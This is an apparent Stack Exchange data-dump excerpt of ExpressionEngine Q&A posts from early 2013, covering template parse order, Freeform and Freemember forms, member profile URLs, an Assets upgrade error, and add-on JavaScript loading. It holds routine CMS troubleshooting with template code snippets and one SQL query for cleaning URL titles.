  <row Id="5682" PostTypeId="2" ParentId="5681" CreationDate="2013-02-01T08:30:48.320" Score="1" Body="&lt;p&gt;If you are using &lt;a href=&quot;http://ee-zoo.com/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, their &lt;code&gt;username&lt;/code&gt; becomes their &lt;code&gt;url_title&lt;/code&gt;. This normally happens automatically, behind the scenes when the user registers, but unless the &lt;a href=&quot;http://ee-zoo.com/docs/visitor/&quot; rel=&quot;nofollow&quot;&gt;Documentation&lt;/a&gt; says elsewise, than the user should be able to modify the &lt;code&gt;url_title&lt;/code&gt;  after the fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; There maybe some parity required between &lt;code&gt;username&lt;/code&gt; in the Zoo Visitor channel to work with the EE Member Registration. So to allow editing, you should probably use the Zoo Member update form, rather than say, just SafeCracker. &lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-02-01T08:36:03.567" LastActivityDate="2013-02-01T08:36:03.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5683" PostTypeId="1" AcceptedAnswerId="5685" CreationDate="2013-02-01T09:30:48.073" Score="2" ViewCount="178" Body="&lt;p&gt;Lets say I have this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  limit=&quot;3&quot;&#xA;  channel=&quot;inventory&quot;&#xA;  paginate=&quot;bottom&quot;&#xA;}&#xA;...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lets say I want to make one of the parameters dynamic based on a result of a plugin tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;     limit=&quot;3&quot;&#xA;     {if {exp:foo:bar param_key=&quot;param_value&quot;}}&#xA;       channel=&quot;inventory&quot;&#xA;     {/if}&#xA;     paginate=&quot;bottom&quot;&#xA; }&#xA; ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run this, I get a parse error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you solve this parse order problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now using &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to be able to set variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I did was set the variable....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:foo:bar param_key=&quot;param_value&quot;}}&#xA;     {exp:stash:set name=&quot;my_inventory_name&quot;}inventory=&quot;{segment_2}&quot;{/exp:stash:set}&#xA;{if:else}&#xA;     {exp:stash:set name=&quot;my_inventory_name&quot;}{/exp:stash:set}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then use it inside the tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries&#xA;         limit=&quot;3&quot;&#xA;         {exp:stash:get name=&quot;my_inventory_name&quot;}&#xA;         paginate=&quot;bottom&quot;&#xA; }&#xA; ...&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No more parse errors. But based on the results, it seems that the stash variable was not parsed because the results did not filter by it.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-02-04T08:11:40.607" LastActivityDate="2013-02-04T13:45:25.533" Title="Param Parse Order Question" Tags="|parse-order|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5684" PostTypeId="2" ParentId="5683" CreationDate="2013-02-01T09:50:35.617" Score="0" Body="&lt;p&gt;What if you try it like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:chanel:entries&#xA;     limit=&quot;3&quot;&#xA;     channel=&quot;{if {exp:foo:bar param_key='param_value'}}inventory{/if}&quot;&#xA;     paginate=&quot;bottom&quot;&#xA;     parse=&quot;inward&quot;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to add the parse='inward' parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Wouter&lt;/p&gt;&#xA;" OwnerUserId="76" LastActivityDate="2013-02-01T09:50:35.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5685" PostTypeId="2" ParentId="5683" CreationDate="2013-02-01T09:50:51.047" Score="2" Body="&lt;p&gt;Please take a look on &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine’s Parse Order&lt;/a&gt; PDF by Lodewijk Schutte &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advanced conditionals (like the one that you have) are parsed after module tags. So such setup will not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.derekallard.com/blog/post/simple-vs-complex-conditionals-in-expressionengine-templates&quot; rel=&quot;nofollow&quot;&gt;This blog post&lt;/a&gt; by Derek Allard explains the difference between simple and advanced conditionals very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your exact requirements, you might find helpful some third-party add-ons, like Low Variables, CE Variables or Switchee.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-01T09:50:51.047" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5686" PostTypeId="1" AcceptedAnswerId="5700" CreationDate="2013-02-01T10:06:19.443" Score="2" ViewCount="321" Body="&lt;p&gt;Have a curly one for those who know more then me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture this: A site has a form to submit a warranty registration.&#xA;Capture: Name, email, street address, model name and serial number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All good,this first part is a no-brainer. Fill out the stuff, submit, fire off thankyou emails to client and company then return to a generic &quot;thanks&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the client seeks though, is rarely, straight forward but must be achievable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's alter the params for a moment. Let's say the user has bought several machines and they want to register each of them. Initial thought is to create say 6 duplicate fields in Freeform (6  X machine name, 6 X serial name) and display them –  but a tad redundant to show all 6 if they bought 1 or what happens if they bought 12 ? Plus, too many fields to manage in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was suggested that the user fills out all the &quot;personal&quot; details and we only display 1 set of machine/serial fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user then has the choice of 2 buttons, either #1 &quot;submit, I only bought one&quot; or #2 &quot;submit this one and then I'll add another&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they choose option #2, how could you bring back all the previous &quot;personal&quot; details pre-populated and present a new, empty set of fields for machine/serial#?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, user submits one entry for one machine (one record per machine, technically speaking), if they choose to submit another, their &quot;personal&quot; details are pre-populated ready for another product registration - how ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I write, I see stash in the equation but not sure how to set the variables until they're posted… a good Friday question :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-02-01T14:16:00.270" Title="Freeform submit &amp; pre-populate again" Tags="|stash|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5687" PostTypeId="2" ParentId="5681" CreationDate="2013-02-01T10:10:24.417" Score="2" Body="&lt;p&gt;i would go for the &quot;username&quot;, and use that for the url-segment. All member add-ons including the 'official' one (as well as free_member) support changing the user_name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main benefit is that the user_name field already has validation in place to check that the entered name is unique and that it is a valid url (characters).&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-02-01T10:10:24.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5688" PostTypeId="1" CreationDate="2013-02-01T10:15:15.117" Score="2" ViewCount="70" Body="&lt;p&gt;I need a little help on a project that's using the addon Link Vault from Masuga Design (&lt;a href=&quot;http://masugadesign.com/software/link-vault/&quot; rel=&quot;nofollow&quot;&gt;http://masugadesign.com/software/link-vault/&lt;/a&gt;) in conjunction with Matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site has a channel called ‘Topics’, each topic has an entry that has a Matrix field with the columns ‘Link’ and ‘File’. The topic pages are setup so they list all the files per topic entry from the Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field is a Matrix field called 'download' and has the cells 'File Name' and 'File'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using this code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:link_vault:records limit=&quot;5&quot;}&amp;lt;a href=&quot;{directory}{file_name}&quot;&amp;gt;Download&amp;lt;/a&amp;gt;{/exp:link_vault:records}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can get the file to link up and work, but not pass the 'File Name' field from a row to the template. The download count also needs to be unique to each Matrix row, too (not covering all files from the single entry.)&lt;/p&gt;&#xA;" OwnerUserId="523" LastActivityDate="2013-03-09T18:37:56.913" Title="Pulling in Matrix cells in Records tag pair using Link Vault" Tags="|matrix|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5689" PostTypeId="7" CreationDate="2013-02-01T10:32:17.823" Score="0" Body="&lt;ul&gt;&#xA;    &lt;li&gt;Anything not directly related to ExpressionEngine&lt;/li&gt;&#xA;    &lt;li&gt;Questions that are primarily opinion-based&lt;/li&gt;&#xA;    &lt;li&gt;Questions with too many possible answers or that would require an extremely long answer&lt;/li&gt;&#xA;    &lt;li&gt;Issues which are clearly bugs (such as PHP errors). These are best reported directly to EllisLab or the add-on developer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="150" LastEditDate="2013-02-01T10:32:17.823" LastActivityDate="2013-02-01T10:32:17.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5690" PostTypeId="2" ParentId="2265" CreationDate="2013-02-01T10:36:43.100" Score="2" Body="&lt;p&gt;&lt;strike&gt;I made quick update - try a version 2.0.5. &lt;/strike&gt;&#xA;you can find example on &lt;a href=&quot;http://demo-ee.com/examples/view/qr-codes-generator&quot; rel=&quot;nofollow&quot;&gt;demo-ee&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ok. the issue was with image folder - if you use not standart image folder ('/images/'):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;img src=&quot;{exp:qr_code type=&quot;&quot; action=&quot;&quot; tel=&quot;&quot; data=&quot;asdasd&quot; title=&quot;&quot; email=&quot;&quot; subj=&quot;&quot; size=&quot;10&quot; alt=&quot;QR code&quot; base_path=&quot;SERVER_PATH_TO_WEB_ROOT&quot;  base_cache=&quot;SERVER_PATH_TO_QR_CODE_IMAGE_FOLDER&quot;}&quot;/&gt; &#xA;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-02-01T17:33:06.563" LastActivityDate="2013-02-01T17:33:06.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5691" PostTypeId="1" CreationDate="2013-02-01T10:50:20.437" Score="2" ViewCount="53" Body="&lt;p&gt;A third party is providing an XML feed of courses for me to integrate into an existing channel, which I'm planning to use Andrew Weaver's excellent Datagrab module for. My problem is that some of these courses are ongoing, and have no expiry date, whilst others have a definite expiry date. The current course list on the site is ordered by expiry date (so that the closest course chronologically is listed first, in descending order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client I'm doing this for wants to add a +3 month expiry date to these entries that come through as ongoing, and then assess them regularly to refresh that +3 month date when they're about to expire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about doing this via the query module, or even via php, either as a nightly, or as  lookup when someone requests this courses page (although I think that would be expensive performance-wise, I don't need to be looking at them constantly). I can add a category to these entries that makes it easy to pull them out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if anyone else in the community can think of a good way of handling this? These entries are going to bubble up the listings as their expiry date nears, and then get pushed right down again. I'm not sure this is the best way of doing it, but the client is adamant that they want them integrated into the main list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or suggestions most welcome!&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-02-01T12:05:00.703" Title="Extending expiry dates of certain entries?" Tags="|query|date|datagrab|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5692" PostTypeId="1" AcceptedAnswerId="5694" CreationDate="2013-02-01T11:17:42.180" Score="0" ViewCount="361" Body="&lt;p&gt;I've just noticed that a client has created a large number of entries with illegal characters in the url titles. This is causing all osrts of problems with entries displaying incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a quick and dirty way to mass change all of the entry titles to remove the illegal characters (commas, periods, apostrophe's etc)?&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2013-02-01T12:11:00.583" Title="Change all url titles - Remove illegal characters" Tags="|url-title|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5693" PostTypeId="2" ParentId="5691" CreationDate="2013-02-01T12:05:00.703" Score="1" Body="&lt;p&gt;How about adapting one of the import modules from datagrab. From what i get, you could duplicate and edit an import for your own needs. If expiration_date == 0 then add 3 months. That way it will keep in sync and set the expiration on import.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-02-01T12:05:00.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5694" PostTypeId="2" ParentId="5692" CreationDate="2013-02-01T12:11:00.583" Score="1" Body="&lt;p&gt;You can run the update query directly to replace these special characters like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_titles set url_title = REPLACE(url_title, '+', ' ') WHERE channel_id=1 AND status='open' AND site_id=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above sql will replace + character with space of all the entries having channel_id as 1 and status as 'open'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to run the query for each character which you would like to remove/replace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you take a backup to avoid any accident.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-01T12:11:00.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5695" PostTypeId="1" CreationDate="2013-02-01T13:00:38.543" Score="1" ViewCount="261" Body="&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;br&gt;&#xA;After upgrading from Assets 1.0.something to 2.0.3, thumbnails stopped showing up and uploading broke. After doing some digging, I found some PHP errors hidden in the request log:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpt:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;A PHP Error was encountered&amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Severity: Warning&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Message:  fopen(/system/expressionengine/cache/assets/tmp_storage/assets_tmp_510bba325d6994.05248213): failed to open stream: No such file or directory&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Filename: assets/helper.php&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Line Number: 448&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assets is using the cache folder in the CP folder ref. line 573-577:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cache_path = self::_get_EE()-&amp;gt;config-&amp;gt;item('cache_path');&#xA;if (empty($cache_path))&#xA;{&#xA;    $cache_path = APPPATH.'cache/';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The webserver doesn't have write permission there. I've tried overriding the cache_path of EE, but it doesn't seem to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone shed some lights on how to override the cache path for Assets? Do anyone know if there is a list of Assets config overrides somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Details&lt;/strong&gt;&lt;br&gt;&#xA;ExpressionEngine v. 2.0.5&lt;br&gt;&#xA;Assets 2.0.4&lt;/p&gt;&#xA;" OwnerUserId="933" LastActivityDate="2013-02-01T18:06:27.020" Title="Upgrading to Assets 2 broke images and file uploads" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5696" PostTypeId="1" AcceptedAnswerId="5698" CreationDate="2013-02-01T13:05:22.963" Score="2" ViewCount="412" Body="&lt;p&gt;I've created custom tabs for the Channel entry form. Now, I want to rename it. The the toolbar for configuring the layout is open, I see a pencil icon to the left of my custom tab (as well as all the other tabs). When I click it, nothing happens. What am I supposed to see when I click that? Is that how I should be editing the tab name?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-02-01T15:32:05.123" Title="How to rename a tab?" Tags="|control-panel|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5697" PostTypeId="1" AcceptedAnswerId="5699" CreationDate="2013-02-01T13:05:52.597" Score="3" ViewCount="1625" Body="&lt;p&gt;I have a module that is dependant on a couple of Javascript files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I load these Javascript files on the front end when my module is called?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are quite large so I cannot simply use an inline &lt;code&gt;&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="823" LastEditorUserId="150" LastEditDate="2013-02-05T13:09:51.310" LastActivityDate="2013-02-05T13:09:51.310" Title="How to load javascript file in my module" Tags="|add-on-development|module|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5698" PostTypeId="2" ParentId="5696" CreationDate="2013-02-01T13:07:41.380" Score="2" Body="&lt;p&gt;Ahh, I realized this is for custom publish layouts. This is not possible by default. A add-on will be needed, use &lt;a href=&quot;http://devot-ee.com/add-ons/rename-publish-tabs&quot; rel=&quot;nofollow&quot;&gt;Rename Publish Tabs&lt;/a&gt; to accomplish this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll add instructions too for changing the main menu tabs in case someone needs help in the future. To rename main menu tabs, click on your name in the CP (top right), then go to Main Menu Manger (left sidebar), you can rename your tabs there! You're limited to the custom tabs you created only. If you want to customize the entire CP menu, &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;Zoo Flexible Admin&lt;/a&gt; is a great add-on.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-02-01T13:37:55.157" LastActivityDate="2013-02-01T13:37:55.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5699" PostTypeId="2" ParentId="5697" CreationDate="2013-02-01T13:11:50.537" Score="6" Body="&lt;p&gt;I think you're looking for &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/cp.html#loading-javascript-files&quot; rel=&quot;nofollow&quot;&gt;this page in the EE Developer docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, if you only need the JS in the Control Panel (so not on the front-end of the site), put your JS files in the &lt;code&gt;/your_addon_package/javascript/&lt;/code&gt; folder and then use &lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;load_package_js('my_file');&lt;/code&gt; to load it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the JS outside of the CP as well, you need to put it in the &lt;code&gt;/themes/third_party/your_addon_package/&lt;/code&gt; folder and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/cp.html#adding-header-data&quot; rel=&quot;nofollow&quot;&gt;add a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag to the header&lt;/a&gt;, if you want to use it in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to output the JS file URL in your templates, create a method in your mod file that outputs &lt;code&gt;URL_THIRD_THEMES.'your_addon/js/file.js'&lt;/code&gt; or something like that. Then use &lt;code&gt;{exp:your_addon:your_method}&lt;/code&gt; to output the URL in the template.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-02-05T11:35:01.110" LastActivityDate="2013-02-05T11:35:01.110" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5700" PostTypeId="2" ParentId="5686" CreationDate="2013-02-01T13:21:12.673" Score="1" Body="&lt;p&gt;Freeform lets you use the &lt;code&gt;%%entry_id%%&lt;/code&gt; placeholder in the &lt;code&gt;return&lt;/code&gt; parameter. You could use this to load the entry that was just submitted (with the &lt;code&gt;freeform:entries&lt;/code&gt; tag), then populate your personal info with at entry (but exclude the info for the products being registered).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd do is include a checkbox in your initial form for &quot;I have more products to register&quot;. Then, on your resulting page, if that box was checked for the first entry, show a new form with the info pre-populated. If it was not, then just show the &quot;thank you&quot; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you have the aforementioned checkbox and it's named &lt;code&gt;registration_multiple&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;your initial Freeform Form tag has &lt;code&gt;return=&quot;warranty/submitted/%%entry_id%%&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... here is some quick pseudo-code for your &lt;strong&gt;warranty/submitted&lt;/strong&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries entry_id=&quot;{segment_3}&quot; limit=&quot;1&quot;}&#xA;{if registration_multiple == 'y'}&#xA;    {exp:freeform:form form_id=&quot;1&quot; `return=&quot;warranty/submitted/%%entry_id%%&quot;}&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; value=&quot;{email}&quot; /&amp;gt;&#xA;        ... etc ..&#xA;    {/exp:freeform:form}&#xA;{if:else}&#xA;    &amp;lt;p&amp;gt;Thank you for registering your product!&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{/exp:freeform_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-01T13:21:12.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5701" PostTypeId="2" ParentId="5686" CreationDate="2013-02-01T14:16:00.270" Score="0" Body="&lt;p&gt;You could switch from using Freeform to using Safecracker and storing these in entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a Matrix field for each product they're registering, and give them a + button to add new rows to their Matrix fields using JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We did this with an event registration site, where there was a primary registrant and they would add multiple attendees to their registration within 1 form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As described in &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5587/293&quot;&gt;this answer&lt;/a&gt;, you can then trigger the notification emails when the Safecracker form is submitted.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-02-01T14:16:00.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5702" PostTypeId="1" AcceptedAnswerId="5739" CreationDate="2013-02-01T14:50:20.583" Score="1" ViewCount="449" Body="&lt;p&gt;Another day, another question!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've started using Freemember (really like the inline validation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i have an update password form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:update_profile return=&quot;members/account/{member_id}/password/success&quot; require=&quot;current_password&quot; error_handling=&quot;inline&quot; form_class=&quot;update-account&quot;}&#xA;&#xA;    &amp;lt;p&amp;gt;In order to change your password you must first enter your current password.&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt; &#xA;        &amp;lt;label class=&quot;control-label&quot;&amp;gt;Current password&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;current_password&quot; value=&quot;{current_password}&quot; class=&quot;span11&quot; /&amp;gt;&#xA;            &amp;lt;span class=&quot;help-block&quot;&amp;gt;{error:current_password}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;You can now choose a new password. For security, we recommend a minimum of 6 characters.&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt; &#xA;        &amp;lt;label class=&quot;control-label&quot;&amp;gt;New password&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;{password}&quot; class=&quot;span11&quot; /&amp;gt;&#xA;            &amp;lt;span class=&quot;help-block&quot;&amp;gt;{error:password}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt; &#xA;        &amp;lt;label class=&quot;control-label&quot;&amp;gt;Confirm new password&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; value=&quot;{password_confirm}&quot; class=&quot;span11&quot; /&amp;gt;&#xA;            &amp;lt;span class=&quot;help-block&quot;&amp;gt;{error:password_confirm}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;{username}&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-green&quot; name=&quot;submit&quot; value=&quot;Update Profile&quot;&amp;gt;Update My Profile&amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:freemember:update_profile}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it validates inline perfectly, however it does not actually change anything.  i.e, if I put in the right &quot;current&quot; password, and change the password, it refreshes, but it does not redirect and no setting are changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-02T03:51:41.487" Title="Freemember Update Profile forms not working" Tags="|forms|validation|freemember|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5703" PostTypeId="2" ParentId="5681" CreationDate="2013-02-01T15:12:24.833" Score="2" Body="&lt;p&gt;We do this on devot:ee with some PHP, which we could (and probably should) turn into a plugin. You can read more about it in this devot:ee news article from August 2009: &lt;a href=&quot;http://devot-ee.com/news/item/new-feature-custom-member-profile-urls&quot; rel=&quot;nofollow&quot;&gt;New Feature: Custom Member Profile URLs&lt;/a&gt;. We let the user store info in one of the native member profile fields. We have a check in place to make sure they can only edit it once, and have an AJAX lookup on it to make sure they don't select something already taken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are not currently using any other member management-related add-ons other than User, and we don't even use that much. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't speak to your forum paths questions, because we're not using the forum profile page at all. We've hacked the forum to pieces and stripped out a bunch of things that were unnecessary for us in how we were using it. We're running the support &quot;forums&quot; through a normal template so we can do more with them.&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-02-01T15:12:24.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5704" PostTypeId="1" AcceptedAnswerId="5705" CreationDate="2013-02-01T15:22:45.940" Score="0" ViewCount="59" Body="&lt;p&gt;Is there a designated location for saving temporary files for serving to the user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dynamically create a PDF file and need to save it somewhere for the user to download. Which directory should I use to store these files?&lt;/p&gt;&#xA;" OwnerUserId="823" LastActivityDate="2013-02-01T15:27:47.220" Title="Location for saving a temporary file" Tags="|add-on-development|filesystem|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5705" PostTypeId="2" ParentId="5704" CreationDate="2013-02-01T15:27:47.220" Score="2" Body="&lt;p&gt;There's no specific location set by ExpressionEngine. Addons use the cache folder for dynamically generated files, but if you're creating an actual PDF I would create a tmp directory in the public_html directory.&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2013-02-01T15:27:47.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
